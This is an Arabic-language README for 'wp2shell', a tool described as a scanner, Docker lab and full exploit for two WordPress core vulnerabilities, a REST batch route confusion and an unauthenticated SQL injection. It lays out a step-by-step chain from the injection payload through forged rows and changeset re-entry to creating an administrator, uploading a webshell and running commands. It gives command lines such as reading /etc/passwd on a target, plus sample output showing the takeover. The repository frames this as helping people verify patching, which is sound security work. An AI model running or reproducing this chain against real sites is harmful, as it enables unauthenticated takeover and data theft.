
كاشف غير إتلافي + مختبر Docker لأداة wp2shell (التباس مسار REST /batch/v1 CVE-2026-63030 + حقن SQL عبر author__not_in CVE-2026-60137) في نواة ووردبريس 6.9.0-6.9.4 / 7.0.0-7.0.1
| CVE | المكوّن | التصنيف | CVSS |
|---|
| CVE-2026-60137 | WP_Query::author__not_in | حقن SQL (CWE-89) | 9.1 |
| CVE-2026-63030 | التباس مسار REST /batch/v1 | تعارض تفسير (CWE-436) → يتسلسل إلى RCE | 7.5 |
المتأثر: نواة ووردبريس 6.9.0–6.9.4 و7.0.0–7.0.1 (مصب حقن SQL وحده يؤثر أيضًا على 6.8.0–6.8.5). أُصلح في 6.8.6 / 6.9.5 / 7.0.2. أُبلغ عنها Adam Kues (Assetnote / Searchlight Cyber)؛ ونُسب حقن SQL أيضًا إلى TF1T وdtro وhaongo. سلسلة RCE على التثبيت القياسي الافتراضي (oEmbed → changeset → re-entry) من إعداد Mustafa Can İPEKÇİ (nukedx).
حدّث أولًا. أصدرت ووردبريس تحديثات تلقائية إجبارية لهذا الغرض. هذا المستودع موجود لمساعدتك على التحقق من أن بيئتك الخاصة مُحدّثة وفهم الثغرة — وليس لمهاجمة أي شخص. انظر SECURITY.md.
البدائية الصحيحة دائمًا هي حقن SQL دون مصادقة، بدون إضافات، في النواة الافتراضية يتيح
قراءة كاملة لقاعدة البيانات (تجزئات كلمات مرور المسؤول، وكل ما في wp_options/wp_users). هذا وحده
يستحق تصنيف 9.1 والترقية الفورية.
RCE حقيقية وتعمل على ووردبريس القياسي الافتراضي — لا حاجة لصلاحية FILE، ولا لذاكرة تخزين مؤقتة
كائنية دائمة، ولا لإضافات، ولا لسوء إعداد. تستخدم السلسلة حقن SQL للقراءة فقط كـبدائية
لتزوير الصفوف (UNION ALL SELECT يحقن صفوف wp_posts مزيفة)، ثم تستغل خط أنابيب عرض المحتوى
في ووردبريس نفسه لتحويل تلك الصفوف المزورة إلى كتابات حقيقية في قاعدة البيانات عبر تخزين oEmbed
المؤقت. ومن هناك، يعمل رفع الـ changeset وإعادة الدخول إلى parse_request في سياق المسؤول،
مما ينشئ حساب مسؤول جديد — كل ذلك من طلب HTTP واحد دون مصادقة.
POST /?rest_route=/batch/v1)1. Route confusion — double-nested batch desyncs $matches/$validation so a GET
/wp/v2/widgets runs under posts::get_items() (public), reaching
WP_Query's author__not_in with attacker-controlled input.
2. Row forgery — author__not_in is string-concatenated into SQL;
"1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
treats -1 as "no limit" → empty $limits → split=false →
full SELECT wp_posts.* → UNION columns match).
3. oEmbed write — forged posts carry [embed]<self-url>[/embed]; rendering via
context=view makes WordPress cache real oembed_cache posts in
the DB (turns read-only SQLi into writes with predictable IDs).
4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
forged post_type=request row with parent loops drives an
in-process re-entrant parse_request in admin context.
5. Admin creation — POST /wp/v2/users in the same batch passes
current_user_can('create_users') → new administrator.
6. RCE — login → plugin webshell upload → command execution → cleanup.
الجدة تكمن في التركيب، لا في أي خطأ منفرد — فالأدوات الفردية سلوكيات مشروعة في ووردبريس.
تسميتها (وفقًا لشرح Adam Kues) تجعل مخطط الصفوف المزورة في exploit() قابلاً للقراءة
وتحدد ما يجب إعادة تدقيقه بعد تصحيح نقاط الدخول:
wp_update_post() وتفضّل post_type/post_status في الذاكرة، مما يسمح
بإعادة تصنيف صف oembed_cache إلى post/customize_changeset حقيقي.post_content — يتجول فلتر wp_insert_post_parent في سلسلة الأصل؛
وعند اكتشاف دورة، يستدعي wp_update_post() ثانيًا يصلح الأصل دون استبدال post_content.
هذا هو الرابط الحرج: فهو يسمح لـpost_content الخبيث في الـ changeset المزوّر بالبقاء. (لهذا
تستخدم الصفوف المزورة حلقات أصل ذاتية/متبادلة.)parse_request — نشر مشاركة يشغّل do_action("{$status}_{$type}")؛
صف مزوّر بـpost_status=parse / post_type=request يطلق parse_request، ويعيد تشغيل خط أنابيب
الدفعة بينما ما تزال هوية المسؤول المفترضة للـ changeset (wp_set_current_user) قائمة.تبقى هذه الأدوات حاضرة في ووردبريس المُصحّح — أُغلقت فقط نقطتا الدخول (عدم مزامنة الدفعة +
تجاوز author__not_in القياسي). أي بدائية جديدة تزوّر كاش المشاركات في الذاكرة أو تكتب
صف oembed_cache ستعيد تمكين الذيل نفسه للاستيلاء على المسؤول.
تم تأكيد بدائيات الكتابة الأربع في وقت العرض فعليًا ضد 7.0.1 — كل واحدة زُوّرت كمشاركة دون مصادقة، وعُرضت عبر التباس الدفعة، وتُحقق من كتابة قاعدة البيانات الناتجة عبر حقن SQL أعمى:
| البدائية | ترميز التشغيل | المصب | المعرّف المتوقع | تم التحقق |
|---|---|---|---|---|
| oembed | [embed]<url>[/embed] | صف wp_posts (oembed_cache) | post_name = md5(url+attrs) | تم إنشاء معرّف المشاركة |
| rss | wp:rss {feedURL} | transient للموقع في wp_options | _site_transient_feed_<md5(url)> | option_id، 5192 بايت مخزنة |
| navigation | wp:navigation | صف wp_posts (wp_navigation) | post_name = 'navigation' (ثابت) | تم إنشاء المعرّف، slug: navigation |
| calendar | wp:calendar | wp_options | wp_calendar_block_has_published_posts | option_id، القيمة '1' |
ماذا يثبت كل نتيجة:
wp_posts جديد برابط slug متوقع من المهاجم
(md5(url+serialize(attrs))) ومعرّف تزايد تلقائي حقيقي. هذه الوحيدة التي تمنحك
صفوف مشاركات متعددة، عند الطلب، باسم المهاجم — ولهذا تستخدمها سلسلة RCE لدعم
مخطط الـ changeset/request المزوّر._site_transient_feed_<md5(url)> قابل للتنبؤ
تمامًا، والبايتات المخزنة هي جسم التغذية الذي يقدمه عنوان URL الخاص بالمهاجم — أي أن المهاجم
يتحكم في المفتاح والقيمة معًا. إنها كتابة في wp_options (بدون معرّف مشاركة)، لذا فهي
بدائية تسميم خيارات وليست بديلًا جاهزًا لدعم الـ changeset.wp_navigation منشور) برابط slug ثابت، لذا يمكنه دعم
كائن مزوّر واحد على الأكثر، على عكس صفوف oEmbed المتعددة.update_option يُطلق دون مصادقة، لكن اسم الخيار
وقيمته '1'/'0' ثابتان/مشتقان من قاعدة البيانات، لذا فهو إثبات "حدوث كتابة" دون
تحكم للمهاجم في المفتاح أو القيمة.FILE العامة + أن
يكون secure_file_priv مخدمًا عبر الويب + أن يكون دليل الإخراج قابلًا للقراءة من مستخدم الويب.
على الاستضافات العادية/المُدارة لا ينطبق أي من ذلك.call_user_func('wp_insert_user', user_data_array) — يتطلب
gc_enabled()=false + HMAC صالحًا (wp_hash للبايتات المتسلسلة تمامًا، ويحتاج أسرار wp-config.php).المتطلبات: Docker + Docker Compose v2، Python 3.8+ (المكتبة القياسية فقط)، make، curl.
make up # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof # -> also reads @@version and current_user() as read-only evidence
make exploit # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched # rebuild on the fixed image and re-check -> [not vulnerable]
make down # tear down (removes volumes)
غيّر المنفذ باستخدام WP_PORT=8100 make up.
ملاحظة حول الصورة المُصحّحة: تتأخر صور Docker الرسمية
wordpressعن إصدارات أمان نواة ووردبريس بيوم أو يومين. إذا أبلغmake patchedأنwordpress:7.0.2غير متوفرة على Docker Hub بعد، أعد المحاولة لاحقًا أو وجّهه إلى أي وسم مُصحّح تم نشره:make patched WP_PATCHED_TAG=6.9.5(أو7.0.2/6.8.6). أي ووردبريس ≥ 6.9.5 / 7.0.2 / 6.8.6 يُرجعnot vulnerable.
$ make check
[VULNERABLE] http://localhost:8093 (WordPress 6.9.4, affected-full-chain) [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
confirmed: unauthenticated SQL injection
rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)
$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!... ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ make patched
[not vulnerable] http://localhost:8093 (WordPress 7.0.2, outside-affected-range) [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]
wp2shell_check.py)المكتبة القياسية فقط، بلا تبعيات.
غير مدمرة، مع تراجع تلقائي على ثلاثة محاور مستقلة بحيث لا يُقرأ مسار واحد محجوب أبدًا كنتيجة سلبية كاذبة:
WHERE المحقون إلى true/false ولاحظ
انهيار X-WP-Total في استعلام المشاركات المشوّش، دون SLEEP)؛ إن لم يُطلق، ثم تفاضل
زمني قائم على SLEEP. SLEEP مغلّف في جدول مشتق —
(SELECT 1 FROM (SELECT SLEEP(n))x) — بحيث يُقيَّم مرة واحدة بغض النظر عن عدد الصفوف
(SLEEP() المجرد قد يُحسَّن بعيدًا على بعض الاستضافات المُدارة ويُقرأ كنتيجة سلبية كاذبة)./wp-json عند الحافة، ثم
نموذج multipart rest_route=/batch/v1 على POST / (شكل طلب المشغّل بالضبط)./wp/v2/users؛ إذا كان هذا المسار
معطّلًا للمتصلين غير المصادَقين (إضافات Disable-REST-API، تحصين تعداد المستخدمين)، يتراجع
إلى مسار العنصر العام /wp/v2/posts/<id>.لا شيء من ذلك يقرأ البيانات أو يغيّر الحالة. --proof يقرأ فقط @@version وcurrent_user() عبر
قراءة عمياء محدودة. وهو لا يستخرج بيانات حساسة ولا يحاول تنفيذ تعليمات برمجية.
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080
-c COMMAND)سلسلة استغلال كاملة: اكتشاف → فحص مسبق لتزوير الصفوف → زرع كاش oEmbed → استخراج UNION ضمن النطاق (in-band) → رفع الـ changeset → إعادة الدخول إلى parse_request → إنشاء مسؤول → تسجيل دخول → webshell إضافة → تنفيذ → تنظيف ذاتي. تعمل على ووردبريس القياسي الافتراضي — لا حاجة لصلاحية FILE، ولا لذاكرة تخزين مؤقتة كائنية دائمة، ولا لإضافات.
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
per_page=-1
لـ split_the_query يعمل على هذا الهدف قبل أن تكتب السلسلة أي شيء. ذاكرة تخزين مؤقتة
كائنية دائمة (Redis/Memcached — شائعة على الاستضافات المُدارة) تُجبر split_the_query وتمنع
تزوير الصفوف: الأداة تُبلغ عن ذلك بدقة (حقن SQL ما زال قائمًا؛ فقط RCE محجوب)
ولا تترك أي صفوف oembed_cache يتيمة خلفها.SLEEP أعمى لكل بايت — حوالي
50–100× طلبات أقل، وتعرض أقل بكثير لجدار حماية الويب (WAF)/حدود المعدل. يبقى oracle الأعمى
التراجع التلقائي إذا تمت تصفية قراءة ضمن النطاق.-c CMD (RCE قبل المصادقة)، --proof (أدلة للقراءة فقط)، -f FILE (فحص مجمّع)،
-t/--threads N (عمال متزامنون، الافتراضي 10)، --method auto|boolean|time،
--delivery auto|json|multipart (اسم مستعار --multipart)، --slot auto|users|posts-item،
--sleep N (تأخير محقون، الافتراضي 4)، --rounds N (الوسيط عبر N من الفحوصات)،
--route auto|rest-route|wp-json، --timeout N، --proxy URL، --json، --authorized.
قيم الحالة
vulnerable — تأكيد نشط عبر الحقن (التباس الدفعة، 6.9.0–7.0.1). ما يثبته
oracle النشط هو حقن SQL دون مصادقة؛ RCE قبل المصادقة قابلة للوصول منها
على تثبيت قياسي ولكنها تتطلب أيضًا عدم وجود ذاكرة تخزين مؤقتة كائنية دائمة
(شرط مسبق غير قابل للتحقق عن بُعد — يقوم PoC لـ RCE بفحصه مسبقًا قبل الكتابة). المخرجات
تجعل هذا الانقسام صريحًا (سطرا confirmed: / rce:).affected_version — الإصدار المقيس بالبصمة في نطاق متأثر لكن الفحص النشط لم يُطلق
(6.8.0–6.8.5 فيه مصب حقن SQL لكن ليس الالتباس؛ أو أن جدار حماية (WAF) حجب الفحص).not_vulnerable — الفحص النشط سلبي والإصدار خارج النطاقات المتأثرة.رموز الخروج: 0 = يحتاج انتباهًا، 1 = غير معرّض، 2 = خطأ.
المتانة: يتبع عمليات إعادة التوجيه مع الحفاظ على جسم POST، ويوحّد اسم المضيف مرة واحدة
مقدمًا، ويتجاهل أخطاء TLS (curl -k).
/wp-json/batch/v1 و?rest_route=/batch/v1
عند الحافة — قاعدة على المسار الجميل فقط تترك مسار سلسلة الاستعلام مفتوحًا — أو اطلب المصادقة
على مسار الدفعة عبر فلتر rest_pre_dispatch.MIT — انظر LICENSE.